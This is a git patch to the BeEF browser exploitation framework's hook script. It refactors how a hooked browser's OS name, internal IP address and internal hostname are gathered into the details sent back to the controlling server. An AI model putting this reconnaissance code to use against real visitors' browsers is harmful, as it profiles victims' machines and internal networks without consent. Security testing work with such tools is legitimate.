From a6d84a7630594d98863d38a33e71854aba8a225d Mon Sep 17 00:00:00 2001 From: "wade@bindshell.net" Date: Fri, 17 Dec 2010 10:17:37 +0000 Subject: [PATCH] sendback_browser_details tidied git-svn-id: https://beef.googlecode.com/svn/trunk@616 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- modules/beefjs/browser.js | 6 ++++++ modules/beefjs/net.js | 13 +------------ 2 files changed, 7 insertions(+), 12 deletions(-) diff --git a/modules/beefjs/browser.js b/modules/beefjs/browser.js index 83a4847cd..cf8f81784 100644 --- a/modules/beefjs/browser.js +++ b/modules/beefjs/browser.js @@ -330,6 +330,9 @@ beef.browser = { var page_title = document.title; var hostname = document.location.hostname; var browser_plugins = beef.browser.getPlugins(); + var os_name = beef.os.getName(); + var internal_ip = beef.net.local.getLocalAddress(); + var internal_hostname = beef.net.local.getLocalHostname(); if(browser_name) details["BrowserName"] = browser_name; if(browser_version) details["BrowserVersion"] = browser_version; @@ -337,6 +340,9 @@ beef.browser = { if(page_title) details["PageTitle"] = page_title; if(hostname) details["HostName"] = hostname; if(browser_plugins) details["BrowserPlugins"] = browser_plugins; + if(os_name) details['OsName'] = os_name; + if(internal_ip) details['InternalIP'] = internal_ip; + if(internal_hostname) details['InternalHostname'] = internal_hostname; return details; }, diff --git a/modules/beefjs/net.js b/modules/beefjs/net.js index 63ca0ea05..f96c20908 100644 --- a/modules/beefjs/net.js +++ b/modules/beefjs/net.js @@ -107,18 +107,7 @@ beef.net = { // get hash of browser details var details = beef.browser.getDetails(); - // grab the internal ip address and hostname - var internal_ip = beef.net.local.getLocalAddress(); - var internal_hostname = beef.net.local.getLocalHostname(); - - // grab the os name - details['OsName'] = beef.os.getName(); - - if(internal_ip && internal_hostname) { - details['InternalIP'] = internal_ip; - details['InternalHostname'] = internal_hostname; - } - + // get the hook session id details['HookSessionID'] = beef.session.get_hook_session_id(); // contruct param string